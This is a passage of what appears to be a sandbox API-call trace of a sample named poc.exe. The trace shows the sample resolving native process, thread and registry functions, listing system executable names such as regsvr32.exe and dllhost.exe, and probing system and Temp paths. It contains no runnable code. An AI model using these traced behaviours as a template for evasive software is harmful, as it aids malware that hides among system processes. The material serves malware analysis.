[0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnmapViewOfSectionEx") returned 0x0 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwReadFile") returned 0x7733f8e0 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationFile") returned 0x7733fa00 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationFile") returned 0x7733fc28 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryAttributesFile") returned 0x7733fe4c [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySection") returned 0x77340040 [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryFullAttributesFile") returned 0x7734132c [0117.797] GetProcAddress (hModule=0x77320000, lpProcName="ZwWriteFile") returned 0x7733f918 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeviceIoControlFile") returned 0x7733f8fc [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryObject") returned 0x7733f9e8 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFile") returned 0x7733fd88 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryDirectoryFileEx") returned 0x0 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenSection") returned 0x7733fdb8 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwDuplicateObject") returned 0x7733fe34 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteFile") returned 0x773409d4 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwLockFile") returned 0x77340e44 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnlockFile") returned 0x77341ea8 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwTerminateProcess") returned 0x7733fca0 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryVolumeInformationFile") returned 0x7733ff7c [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetVolumeInformationFile") returned 0x77341c8c [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwAccessCheck") returned 0x77340218 [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwExtendSection") returned 0x77340b0c [0117.798] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushBuffersFile") returned 0x7733ffac [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwFsControlFile") returned 0x7733fde8 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeDirectoryFile") returned 0x77340f48 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwQuerySecurityObject") returned 0x77341518 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetSecurityObject") returned 0x77341b8c [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcess") returned 0x77340804 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateProcessEx") returned 0x7733ffdc [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateUserProcess") returned 0x7734090c [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwResumeThread") returned 0x77340058 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateThread") returned 0x7733fff4 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryInformationProcess") returned 0x7733fac8 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKey") returned 0x7733fa18 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwOpenKeyEx") returned 0x77341008 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateValueKey") returned 0x7733fa30 [0117.799] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryKey") returned 0x7733fa80 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryValueKey") returned 0x7733fa98 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwCreateKey") returned 0x7733fb30 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwEnumerateKey") returned 0x7733fd3c [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetValueKey") returned 0x773401b4 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteKey") returned 0x773409ec [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwDeleteValueKey") returned 0x77340a34 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwFlushKey") returned 0x77340b70 [0117.800] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey") returned 0x77340dfc [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwLoadKey2") returned 0x77340e14 [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwNotifyChangeKey") returned 0x77340f60 [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwQueryMultipleValueKey") returned 0x7734146c [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwReplaceKey") returned 0x77341738 [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwRestoreKey") returned 0x773417d0 [0117.850] GetProcAddress (hModule=0x77320000, lpProcName="ZwSaveKey") returned 0x77341864 [0117.851] GetProcAddress (hModule=0x77320000, lpProcName="ZwSetInformationKey") returned 0x77341a48 [0117.851] GetProcAddress (hModule=0x77320000, lpProcName="ZwUnloadKey") returned 0x77341e60 [0117.851] VirtualFree (lpAddress=0x330000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450118*=0x0, psz="tcpsvcs.exe", len=0xb | out: pbstr=0x450118*="tcpsvcs.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450114*=0x0, psz="ntvdm.exe", len=0x9 | out: pbstr=0x450114*="ntvdm.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450110*=0x0, psz="dllhost.exe", len=0xb | out: pbstr=0x450110*="dllhost.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x45010c*=0x0, psz="replace.exe", len=0xb | out: pbstr=0x45010c*="replace.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450108*=0x0, psz="regsvr32.exe", len=0xc | out: pbstr=0x450108*="regsvr32.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450104*=0x0, psz="winver.exe", len=0xa | out: pbstr=0x450104*="winver.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x450100*=0x0, psz="help.exe", len=0x8 | out: pbstr=0x450100*="help.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500fc*=0x0, psz="find.exe", len=0x8 | out: pbstr=0x4500fc*="find.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500f8*=0x0, psz="compact.exe", len=0xb | out: pbstr=0x4500f8*="compact.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500f4*=0x0, psz="chkdsk.exe", len=0xa | out: pbstr=0x4500f4*="chkdsk.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500f0*=0x0, psz="attrib.exe", len=0xa | out: pbstr=0x4500f0*="attrib.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500ec*=0x0, psz="write.exe", len=0x9 | out: pbstr=0x4500ec*="write.exe") returned 1 [0117.851] SysReAllocStringLen (in: pbstr=0x4500e8*=0x0, psz="hh.exe", len=0x6 | out: pbstr=0x4500e8*="hh.exe") returned 1 [0117.851] QueryPerformanceCounter (in: lpPerformanceCount=0x28f964 | out: lpPerformanceCount=0x28f964*=25896134114) returned 1 [0117.852] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0117.852] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x758c3c, nSize=0x104 | out: lpFilename="C:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe")) returned 0x16 [0117.852] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\poc.exe", nBufferLength=0x104, lpBuffer=0x28f708, lpFilePart=0x28f910 | out: lpBuffer="C:\\ProgramData\\poc.exe", lpFilePart=0x28f910*="poc.exe") returned 0x16 [0117.852] CharLowerBuffW (in: lpsz="C:\\ProgramData\\poc.exe", cchLength=0x16 | out: lpsz="c:\\programdata\\poc.exe") returned 0x16 [0117.852] SysReAllocStringLen (in: pbstr=0x4605e4*=0x0, psz="c:\\programdata\\poc.exe", len=0x16 | out: pbstr=0x4605e4*="c:\\programdata\\poc.exe") returned 1 [0117.852] SysReAllocStringLen (in: pbstr=0x4605e8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4605e8*="c:") returned 1 [0117.852] SysReAllocStringLen (in: pbstr=0x460608*=0x0, psz="programdata", len=0xb | out: pbstr=0x460608*="programdata") returned 1 [0117.852] SysReAllocStringLen (in: pbstr=0x460628*=0x0, psz="poc.exe", len=0x7 | out: pbstr=0x460628*="poc.exe") returned 1 [0117.852] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e5fc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0117.853] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="poc.exe", cchWideChar=7, lpMultiByteStr=0x28e5fc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="poc.exedata", lpUsedDefaultChar=0x0) returned 7 [0117.853] SysReAllocStringLen (in: pbstr=0x28f690*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f690*="c:") returned 1 [0117.853] SysReAllocStringLen (in: pbstr=0x28f988*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f988*="c:\\") returned 1 [0117.853] SysReAllocStringLen (in: pbstr=0x28f688*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f688*="programdata") returned 1 [0117.853] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e50 [0117.853] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0117.853] GetLastError () returned 0x12 [0117.853] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0117.853] SysReAllocStringLen (in: pbstr=0x28f67c*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f67c*="c:\\ProgramData") returned 1 [0117.854] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f988*="c:\\ProgramData\\") returned 1 [0117.854] SysReAllocStringLen (in: pbstr=0x28f688*="programdata", psz="poc.exe", len=0x7 | out: pbstr=0x28f688*="poc.exe") returned 1 [0117.854] FindFirstFileW (in: lpFileName="c:\\ProgramData\\poc.exe", lpFindFileData=0x28f6b4 | out: lpFindFileData=0x28f6b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x78a55620, ftCreationTime.dwHighDateTime=0x1d5ca1f, ftLastAccessTime.dwLowDateTime=0x78a55620, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x78cdcd80, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="poc.exe", cAlternateFileName="")) returned 0x758e50 [0117.854] FileTimeToLocalFileTime (in: lpFileTime=0x28f6c8, lpLocalFileTime=0x28f634 | out: lpLocalFileTime=0x28f634) returned 1 [0117.854] FileTimeToDosDateTime (in: lpFileTime=0x28f634, lpFatDate=0x28f696, lpFatTime=0x28f694 | out: lpFatDate=0x28f696, lpFatTime=0x28f694) returned 1 [0117.854] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0117.854] SysReAllocStringLen (in: pbstr=0x28f67c*="c:\\ProgramData\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f67c*="c:\\ProgramData\\poc.exe") returned 1 [0117.854] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData\\poc.exe", psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f988*="c:\\ProgramData\\poc.exe\\") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x28f678*=0x0, psz="c:\\ProgramData\\poc.exe\\", len=0x17 | out: pbstr=0x28f678*="c:\\ProgramData\\poc.exe\\") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x28f988*="c:\\ProgramData\\poc.exe\\", psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f988*="c:\\ProgramData\\poc.exe") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x28f984*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x28f984*="c:\\ProgramData\\poc.exe") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x4605e4*=0x0, psz="c:\\ProgramData\\poc.exe", len=0x16 | out: pbstr=0x4605e4*="c:\\ProgramData\\poc.exe") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x4605f8*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x4605f8*="c:\\ProgramData\\") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x28f8fc*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f8fc*="c:\\ProgramData\\") returned 1 [0117.855] CharLowerBuffW (in: lpsz="c:\\ProgramData\\", cchLength=0xf | out: lpsz="c:\\programdata\\") returned 0xf [0117.855] SysReAllocStringLen (in: pbstr=0x460634*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x460634*="c:\\programdata\\") returned 1 [0117.855] SysReAllocStringLen (in: pbstr=0x460638*=0x0, psz="c:", len=0x2 | out: pbstr=0x460638*="c:") returned 1 [0117.856] SysReAllocStringLen (in: pbstr=0x460658*=0x0, psz="programdata", len=0xb | out: pbstr=0x460658*="programdata") returned 1 [0117.856] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0117.856] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.856] SysReAllocStringLen (in: pbstr=0x28f900*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f900*="c:\\") returned 1 [0117.856] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f584*="programdata") returned 1 [0117.856] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x758e50 [0117.856] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0117.856] GetLastError () returned 0x12 [0117.856] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0117.856] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f578*="c:\\ProgramData") returned 1 [0117.856] SysReAllocStringLen (in: pbstr=0x28f900*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f900*="c:\\ProgramData\\") returned 1 [0117.857] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f574*="c:\\ProgramData\\") returned 1 [0117.857] SysReAllocStringLen (in: pbstr=0x28f900*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f900*="c:\\ProgramData") returned 1 [0117.857] SysReAllocStringLen (in: pbstr=0x28f904*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f904*="c:\\ProgramData") returned 1 [0117.857] SysReAllocStringLen (in: pbstr=0x4605f8*="c:\\ProgramData\\", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x4605f8*="c:\\ProgramData\\") returned 1 [0117.857] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0117.858] GetSystemDirectoryW (in: lpBuffer=0x460630, uSize=0xfffe | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0117.858] CharLowerBuffW (in: lpsz="C:\\Windows\\system32", cchLength=0x13 | out: lpsz="c:\\windows\\system32") returned 0x13 [0117.858] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\windows\\system32", len=0x13 | out: pbstr=0x470638*="c:\\windows\\system32") returned 1 [0117.858] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.859] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="windows", len=0x7 | out: pbstr=0x47065c*="windows") returned 1 [0117.859] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="system32", len=0x8 | out: pbstr=0x47067c*="system32") returned 1 [0117.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windowsdata", lpUsedDefaultChar=0x0) returned 7 [0117.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="system32", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system32ata", lpUsedDefaultChar=0x0) returned 8 [0117.859] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0117.859] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.859] SysReAllocStringLen (in: pbstr=0x28f8f4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8f4*="c:\\") returned 1 [0117.859] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="windows", len=0x7 | out: pbstr=0x28f584*="windows") returned 1 [0117.859] FindFirstFileW (in: lpFileName="c:\\windows", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x93503da0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x93503da0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x758e50 [0117.860] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x93503da0, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x93503da0, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0117.860] GetLastError () returned 0x12 [0117.860] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0117.860] SysReAllocStringLen (in: pbstr=0x28f578*=0x0, psz="c:\\Windows", len=0xa | out: pbstr=0x28f578*="c:\\Windows") returned 1 [0117.860] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows", psz="c:\\Windows\\", len=0xb | out: pbstr=0x28f8f4*="c:\\Windows\\") returned 1 [0117.860] SysReAllocStringLen (in: pbstr=0x28f584*="windows", psz="system32", len=0x8 | out: pbstr=0x28f584*="system32") returned 1 [0117.860] FindFirstFileW (in: lpFileName="c:\\Windows\\system32", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x758e50 [0117.860] FindNextFileW (in: hFindFile=0x758e50, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0 [0117.860] GetLastError () returned 0x12 [0117.860] FindClose (in: hFindFile=0x758e50 | out: hFindFile=0x758e50) returned 1 [0117.860] SysReAllocStringLen (in: pbstr=0x28f578*="c:\\Windows\\", psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f578*="c:\\Windows\\System32") returned 1 [0117.860] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows\\System32", psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x28f8f4*="c:\\Windows\\System32\\") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x28f574*=0x0, psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x28f574*="c:\\Windows\\System32\\") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x28f8f4*="c:\\Windows\\System32\\", psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f8f4*="c:\\Windows\\System32") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x28f8f8*=0x0, psz="c:\\Windows\\System32", len=0x13 | out: pbstr=0x28f8f8*="c:\\Windows\\System32") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x4605f0*=0x0, psz="c:\\Windows\\System32\\", len=0x14 | out: pbstr=0x4605f0*="c:\\Windows\\System32\\") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x28f8ec*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f8ec*="c:") returned 1 [0117.861] SysReAllocStringLen (in: pbstr=0x4605f4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x4605f4*="c:\\") returned 1 [0117.861] GetTempPathW (in: nBufferLength=0xfffe, lpBuffer=0x460630 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\") returned 0x25 [0117.861] CharLowerBuffW (in: lpsz="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", cchLength=0x25 | out: lpsz="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\") returned 0x25 [0117.861] SysReAllocStringLen (in: pbstr=0x470638*=0x0, psz="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\", len=0x25 | out: pbstr=0x470638*="c:\\users\\5p5nrg~1\\appdata\\local\\temp\\") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x47063c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47063c*="c:") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x47065c*=0x0, psz="users", len=0x5 | out: pbstr=0x47065c*="users") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x47067c*=0x0, psz="5p5nrg~1", len=0x8 | out: pbstr=0x47067c*="5p5nrg~1") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x470688*=0x0, psz="appdata", len=0x7 | out: pbstr=0x470688*="appdata") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x470694*=0x0, psz="local", len=0x5 | out: pbstr=0x470694*="local") returned 1 [0117.862] SysReAllocStringLen (in: pbstr=0x4706a0*=0x0, psz="temp", len=0x4 | out: pbstr=0x4706a0*="temp") returned 1 [0117.862] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="users", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usersm32ata", lpUsedDefaultChar=0x0) returned 5 [0117.863] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="5p5nrg~1", cchWideChar=8, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5nrg~1ata", lpUsedDefaultChar=0x0) returned 8 [0117.863] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="appdata", cchWideChar=7, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdata1ata", lpUsedDefaultChar=0x0) returned 7 [0117.863] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="local", cchWideChar=5, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="localta1ata", lpUsedDefaultChar=0x0) returned 5 [0117.863] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="temp", cchWideChar=4, lpMultiByteStr=0x28e4f8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="templta1ata", lpUsedDefaultChar=0x0) returned 4 [0117.863] SysReAllocStringLen (in: pbstr=0x28f58c*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f58c*="c:") returned 1 [0117.863] SysReAllocStringLen (in: pbstr=0x28f8e0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f8e0*="c:\\") returned 1 [0117.863] SysReAllocStringLen (in: pbstr=0x28f584*=0x0, psz="users", len=0x5 | out: pbstr=0x28f584*="users") returned 1 [0117.863] FindFirstFileW (in: lpFileName="c:\\users", lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x759060 [0117.864] FindNextFileW (in: hFindFile=0x759060, lpFindFileData=0x28f5b0 | out: lpFindFileData=0x28f5b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, 